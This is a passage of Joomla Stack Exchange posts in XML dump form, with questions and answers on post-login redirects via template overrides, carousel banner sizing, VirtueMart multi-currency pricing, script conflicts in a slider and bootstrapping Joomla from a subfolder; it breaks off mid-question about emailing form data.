  <row Id="16115" PostTypeId="1" AcceptedAnswerId="16118" CreationDate="2016-04-12T09:52:39.450" Score="8" ViewCount="2638" Body="&lt;p&gt;In Joomla 3.5.1, I want to redirect users to the page they were before logging in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they login from mod_login, no problem, since the module is pending from the top menu, they just stay at that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem happens when the users login from the component: they are always redirected to the profile page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the menu item &lt;code&gt;index.php?option=com_users&amp;amp;view=login&lt;/code&gt; there's an option to redirect users after login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I tell: &quot;&lt;code&gt;Get them back to the page they were before&lt;/code&gt;&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain components are appending something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?return=L2YlQzMlQjNydW0tcGVyZ3VudGFzLWUtcmVzcG9zdGFzL2NvbnZlcnNhdGi9yZWFkLmh0bWw/aWQ9MjU=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To the URL, requesting a redirect to a specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they always go back to the profile page.&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="405" LastEditDate="2016-04-12T13:54:33.880" LastActivityDate="2021-02-17T05:22:02.987" Title="Redirect users to the last page visited, after login from component" Tags="|joomla-3.4|user|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16116" PostTypeId="1" CreationDate="2016-04-12T10:32:20.510" Score="1" ViewCount="578" Body="&lt;p&gt;I have a problem with banners so far and it is making me pull my hair out and I am hoping i will get the solution here. When I put more than 1 banner module on a page (let's say 3 banners), it seems all 3 show with the same size (witdth) even if all three have different sizes on the module options.&#xA;What might be the problem here?&#xA;example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SlUs2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SlUs2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the code of the banner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot; jcarousel-skin-tango&quot;&amp;gt;&amp;lt;div class=&quot;jcarousel-container jcarousel-container-horizontal&quot; style=&quot;position: relative; display: block;&quot;&amp;gt;&amp;lt;div class=&quot;jcarousel-clip jcarousel-clip-horizontal&quot; style=&quot;position: relative;&quot;&amp;gt;&amp;lt;ul id=&quot;mycarousel1714&quot; class=&quot;jcarousel-list jcarousel-list-horizontal&quot; style=&quot;overflow: hidden; position: relative; top: 0px; margin: 0px; padding: 0px; left: 0px; width: 486px;&quot;&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;jcarousel-item jcarousel-item-horizontal jcarousel-item-1 jcarousel-item-1-horizontal&quot; jcarouselindex=&quot;1&quot; style=&quot;float: left; list-style: none; width: 243px;&quot;&amp;gt;&#xA;                                            &amp;lt;img src=&quot;/images/ibertex.jpg&quot; alt=&quot;Info 1&quot; width=&quot;1150&quot; height=&quot;60&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;jcarousel-item jcarousel-item-horizontal jcarousel-item-2 jcarousel-item-2-horizontal&quot; jcarouselindex=&quot;2&quot; style=&quot;float: left; list-style: none; width: 243px;&quot;&amp;gt;&#xA;                                            &amp;lt;img src=&quot;/images/voip-10.JPG&quot; alt=&quot;info 2&quot; width=&quot;1150&quot; height=&quot;60&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;jcarousel-prev jcarousel-prev-horizontal jcarousel-prev-disabled jcarousel-prev-disabled-horizontal&quot; style=&quot;display: block;&quot; disabled=&quot;disabled&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;jcarousel-next jcarousel-next-horizontal&quot; style=&quot;display: block;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am by the way using caroussel banners, and this is the css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This &amp;lt;div&amp;gt; element is wrapped by jCarousel around the list&#xA; * and has the classname &quot;jcarousel-container&quot;.&#xA; */&#xA;.jcarousel-container {&#xA;    position: relative;&#xA;}&#xA;.jcarousel-container li{&#xA;    margin-left:0;&#xA;}&#xA;.jcarousel-clip {&#xA;    z-index: 2;&#xA;    padding: 0;&#xA;    margin: 0;&#xA;    overflow: hidden;&#xA;    position: relative;&#xA;}&#xA;&#xA;.jcarousel-list {&#xA;    z-index: 1;&#xA;    overflow: hidden;&#xA;    position: relative;&#xA;    top: 0;&#xA;    left: 0;&#xA;    margin: 0;&#xA;    padding: 0;&#xA;}&#xA;&#xA;.jcarousel-item {&#xA;    float: left;&#xA;    list-style: none;&#xA;    /* We set the width/height explicitly. No width/height causes infinite loops. */&#xA;    width: 454px;&#xA;    height:auto;&#xA;    overflow: hidden;&#xA;}&#xA;&#xA;/**&#xA; * The buttons are added dynamically by jCarousel before&#xA; * the &amp;lt;ul&amp;gt; list (inside the &amp;lt;div&amp;gt; described above) and&#xA; * have the classnames &quot;jcarousel-next&quot; and &quot;jcarousel-prev&quot;.&#xA; */&#xA;.jcarousel-next {&#xA;    z-index: 3;&#xA;    display: none;&#xA;}&#xA;&#xA;.jcarousel-prev {&#xA;    z-index: 3;&#xA;    display: none;&#xA;}&#xA;.jcarousel-item a {&#xA;    padding: 0!important;&#xA;}&#xA;.jcarousel-item a:hover&#xA;{background: none!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The width is set to  width: 454px; but the default that showed earlier was :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;jcarousel-item jcarousel-item-horizontal jcarousel-item-1 jcarousel-item-1-horizontal&quot; jcarouselindex=&quot;1&quot; style=&quot;float: left; list-style: none; width: 243px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i change the width on that css file, will it work?&lt;/p&gt;&#xA;" OwnerUserId="7664" LastEditorUserId="7664" LastEditDate="2016-04-14T11:51:07.420" LastActivityDate="2016-09-11T16:17:49.707" Title="Banner size problem" Tags="|joomla-3.x|module-display|com-banners|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16117" PostTypeId="1" AcceptedAnswerId="17170" CreationDate="2016-04-12T13:25:41.650" Score="1" ViewCount="320" Body="&lt;p&gt;I'm with an problem, that I want to put in VirtueMart 3 with two type of coins(cash) each one goes to one distinct language, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;English (en-GB): Dollar &#xA;Portuguese (pt-BR): Real&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When a visitor goes to my shop, if he's from U.S the prices of my products will display the price that I've put for Dollar coin, if he's from Brazil the prices of my products will display the price for Real coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Product A&#xA;Price in Dollars = $10.00 &#xA;Price in Reals = R$20.00&#xA;&#xA;Visitor A &#xA;Location: U.S&#xA;Product Price: $10.00 &#xA;&#xA;Visitor B&#xA;Location: Brazil&#xA;Product Price: R$20.00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have someone a answer for this? If it needs override or exists a plugin or something like that I can use, I'd appreciate some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I'm learning english, so I ask to try to understand, I really worked too hard to do this.&lt;/p&gt;&#xA;" OwnerUserId="8223" LastEditorUserId="8223" LastEditDate="2016-08-22T19:26:08.417" LastActivityDate="2016-08-22T19:26:08.417" Title="Virtuemart 3.0, Distinct prices for different languages" Tags="|joomla-3.x|component|virtuemart|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16118" PostTypeId="2" ParentId="16115" CreationDate="2016-04-12T13:25:41.973" Score="7" Body="&lt;p&gt;Quite simple to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will firstly need to create a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot;&gt;Template Override&lt;/a&gt; for the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_users/views/login/tmpl/default_login.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once done, open the following file (your override):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/MY_TEMPLATE/html/com_users/login/default_login.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and go to line 81, where you will see the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo base64_encode($this-&amp;gt;params-&amp;gt;get('login_redirect_url', $this-&amp;gt;form-&amp;gt;getValue('return'))); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo base64_encode($_SERVER['HTTP_REFERER']); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-12T14:16:43.787" LastActivityDate="2016-04-12T14:16:43.787" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16119" PostTypeId="1" AcceptedAnswerId="16210" CreationDate="2016-04-12T14:29:49.347" Score="5" ViewCount="8786" Body="&lt;p&gt;In Joomla 3.5.1, I want to redirect users to a specific page, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.domain.com/login?return=L2YlQzMlQjNydW0tcGVyZ3VudGFzLWUtcmVzcG9zdGFzL2NvbnZlcnNhdGlvbi9yZWFkLmh0bWw/aWQ9MjU=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the string &lt;code&gt;?return=XXX&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the URL is supposed to indicate where the user should go after login as per:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this isn't working: users are being redirected to the profile page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm using an override for &lt;code&gt;com_users&lt;/code&gt; as per &lt;a href=&quot;https://joomla.stackexchange.com/questions/16115/redirect-users-to-the-last-page-visited-after-login-from-component&quot;&gt;this other question.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base64_decode(L2YlQzMlQjNydW0tcGVyZ3VudGFzLWUtcmVzcG9zdGFzL2NvbnZlcnNhdGlvbi9yZW‌​FkLmh0bWw/aWQ9MjU=) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns the URL that users should be redirected to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE2:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you may find the whole &lt;code&gt;default_login.php&lt;/code&gt; code used in the override. It is working. Notice on lines 81-88 in the if statement where the condition &lt;code&gt;if($_SERVER['QUERY_STRING'])&lt;/code&gt; is NOT redirecting to the URL I want although &lt;code&gt;elseif($_SERVER['HTTP_REFERER']):&lt;/code&gt; is working perfectly redirecting to the page they were before logging in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_users&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.keepalive');&#xA;?&amp;gt; &#xA;&amp;lt;div class=&quot;login&amp;lt;?php echo $this-&amp;gt;pageclass_sfx?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt;&#xA;        &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (($this-&amp;gt;params-&amp;gt;get('logindescription_show') == 1 &amp;amp;&amp;amp; str_replace(' ', '', $this-&amp;gt;params-&amp;gt;get('login_description')) != '') || $this-&amp;gt;params-&amp;gt;get('login_image') != '') : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;login-description&quot;&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('logindescription_show') == 1) : ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('login_description'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if (($this-&amp;gt;params-&amp;gt;get('login_image') != '')) :?&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('login_image')); ?&amp;gt;&quot; class=&quot;login-image&quot; alt=&quot;&amp;lt;?php echo JText::_('COM_USERS_LOGIN_IMAGE_ALT')?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (($this-&amp;gt;params-&amp;gt;get('logindescription_show') == 1 &amp;amp;&amp;amp; str_replace(' ', '', $this-&amp;gt;params-&amp;gt;get('login_description')) != '') || $this-&amp;gt;params-&amp;gt;get('login_image') != '') : ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;task=user.login'); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-validate form-horizontal well&quot;&amp;gt;&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset('credentials') as $field) : ?&amp;gt;&#xA;                &amp;lt;?php if (!$field-&amp;gt;hidden) : ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($this-&amp;gt;tfa): ?&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getField('secretkey')-&amp;gt;label; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getField('secretkey')-&amp;gt;input; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if (JPluginHelper::isEnabled('system', 'remember')) : ?&amp;gt;&#xA;            &amp;lt;div  class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;label&amp;gt;&amp;lt;?php echo JText::_('COM_USERS_LOGIN_REMEMBER_ME') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;input id=&quot;remember&quot; type=&quot;checkbox&quot; name=&quot;remember&quot; class=&quot;inputbox&quot; value=&quot;yes&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JText::_('JLOGIN'); ?&amp;gt;&#xA;                    &amp;lt;/button&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php if($_SERVER['QUERY_STRING']):&#xA;                $retorno=$_SERVER['QUERY_STRING'];&#xA;                $retorno=(str_replace('return=', '', $retorno)); ?&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect&quot; value=&quot;&amp;lt;?php echo urlencode(base64_encode($retorno));?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;?php elseif($_SERVER['HTTP_REFERER']): ?&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo base64_encode($_SERVER['HTTP_REFERER']);?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav nav-tabs nav-stacked&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=reset'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('COM_USERS_LOGIN_RESET'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=remind'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('COM_USERS_LOGIN_REMIND'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;        $usersConfig = JComponentHelper::getParams('com_users');&#xA;        if ($usersConfig-&amp;gt;get('allowUserRegistration')) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=registration'); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_USERS_LOGIN_REGISTER'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-06-14T09:57:43.327" Title="Redirect users to the page pointed in the URL after login" Tags="|joomla-3.x|joomla-3.4|user|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16120" PostTypeId="1" AcceptedAnswerId="16121" CreationDate="2016-04-12T16:17:30.167" Score="1" ViewCount="28" Body="&lt;p&gt;I'm having an issue on a website where all of the sliders (there are 4) are being shown before quickly disappearing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site URL is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://185.123.97.225/~smithsde/index.php&quot; rel=&quot;nofollow&quot;&gt;http://185.123.97.225/~smithsde/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On investigation this appears to be jQuery or Mootools doing this, but I can't figure out where/why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas please?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2016-04-12T17:13:27.873" Title="Slider content showing and then hiding" Tags="|joomla-2.5|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16121" PostTypeId="2" ParentId="16120" CreationDate="2016-04-12T16:27:42.920" Score="1" Body="&lt;p&gt;My guess is a few things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're importing jQuery multiple times&lt;/li&gt;&#xA;&lt;li&gt;You're site is rather heavy with scripts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main thing that I'd say could be causing the issue is the entire JS script for the slider is being completely obfuscated by &lt;code&gt;eval()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://185.123.97.225/~smithsde/modules/mod_fpss/includes/js/jquery.fpss.js&quot; rel=&quot;nofollow&quot;&gt;http://185.123.97.225/~smithsde/modules/mod_fpss/includes/js/jquery.fpss.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning is has to un-obfuscate it first before actually executing it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What can you do?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ensure only 1 instance of jQuery is being imported&lt;/li&gt;&#xA;&lt;li&gt;Whichever extension is calling Mootools...banish it and find an alternative.&lt;/li&gt;&#xA;&lt;li&gt;Find an alternative to the slider extension you're using.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-12T17:13:27.873" LastActivityDate="2016-04-12T17:13:27.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16122" PostTypeId="1" AcceptedAnswerId="16123" CreationDate="2016-04-12T17:13:36.490" Score="2" ViewCount="722" Body="&lt;p&gt;I am trying to import Joomla CMS to a custom PHP script by this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/' )); &#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this only seems to work when the PHP script is placed in the root directory of the Joomla installation. If I move the script to some other directory, it throws the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: require_once(C:\xampp\htdocs\newfolder/includes/defines.php):&#xA;failed to open stream: No such file or directory in C:\xampp\htdocs\newfolder\index.php on line 56&#xA;&#xA;Fatal error: require_once(): Failed opening required&#xA; 'C:\xampp\htdocs\newfolder/includes/defines.php' (include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\newfolder\index.php on line 56&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am testing on Xampp. In my case, Joomla is installed in the root directory &quot;&lt;strong&gt;htdocs&lt;/strong&gt;&quot; (&lt;a href=&quot;http://localhost&quot; rel=&quot;nofollow&quot;&gt;http://localhost&lt;/a&gt;) and the PHP script is placed inside a directory called &lt;strong&gt;newfolder&lt;/strong&gt; (&lt;a href=&quot;http://localhost/newfolder/index.php&quot; rel=&quot;nofollow&quot;&gt;http://localhost/newfolder/index.php&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-04-12T17:17:41.040" Title="Importing Joomla CMS to custom PHP script (outside root folder)" Tags="|php|cms|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16123" PostTypeId="2" ParentId="16122" CreationDate="2016-04-12T17:17:41.040" Score="3" Body="&lt;p&gt;This is because the &lt;code&gt;JPATH_BASE&lt;/code&gt; value needs updating as you've moved the file into a new directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_BASE', realpath(dirname(__FILE__).'/')); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_BASE', realpath(dirname(__FILE__).'/../')); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-12T17:17:41.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16124" PostTypeId="2" ParentId="1159" CreationDate="2016-04-12T19:10:57.453" Score="1" Body="&lt;p&gt;Joomla 3 has it's own inbuilt system for handling multi-language websites. No plugins or extensions are needed.&#xA;Here is a &lt;a href=&quot;http://jeyjoo.com/blog/how-to-create-a-multilingual-international-website-in-joomla-3&quot; rel=&quot;nofollow&quot;&gt;step-by-step guide&lt;/a&gt; with screen shots showing exactly how you can set up a multilingual website.&#xA;You can also troubleshoot your website if there is something not quite right by re-checking each step.&lt;/p&gt;&#xA;" OwnerUserId="8225" LastActivityDate="2016-04-12T19:10:57.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16125" PostTypeId="1" AcceptedAnswerId="16132" CreationDate="2016-04-12T19:13:01.370" Score="1" ViewCount="643" Body="&lt;p&gt;I retrieve all the form data with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$formData = new JRegistry($jinput-&amp;gt;post-&amp;gt;getArray());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then decode it and convert to my custom array with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formDataAsJson = json_decode($formData);&#xA;$arrayOfFields = array();&#xA;foreach($formDataAsJson as $name =&amp;gt; $value) {&#xA;    if(!empty($value) &amp;amp;&amp;amp; $name !== 'submit') {&#xA;        $arrayOfFields[] = '&amp;lt;strong&amp;gt;'.$name.'&amp;lt;/strong&amp;gt;: '.$value;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then email with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;...&#xA;$mailer-&amp;gt;setBody(implode('&amp;lt;br/&amp;gt;',$arrayOfFields));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At my form there is one input with &lt;code&gt;type=&quot;file&quot;&lt;/code&gt; and all the code works if I don't touch this input and fill only inputs with &lt;code&gt;type=&quot;text&quot;&lt;/code&gt; and check inputs with &lt;code&gt;type=&quot;radio&quot;&lt;/code&gt;. However, if I choose a file by using input &lt;code&gt;type=&quot;file&quot;&lt;/code&gt;, the code stops working and I don't receive an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I choose some file but send &lt;code&gt;$formData&lt;/code&gt; as JSON without decoding it and converting to an array e.g. 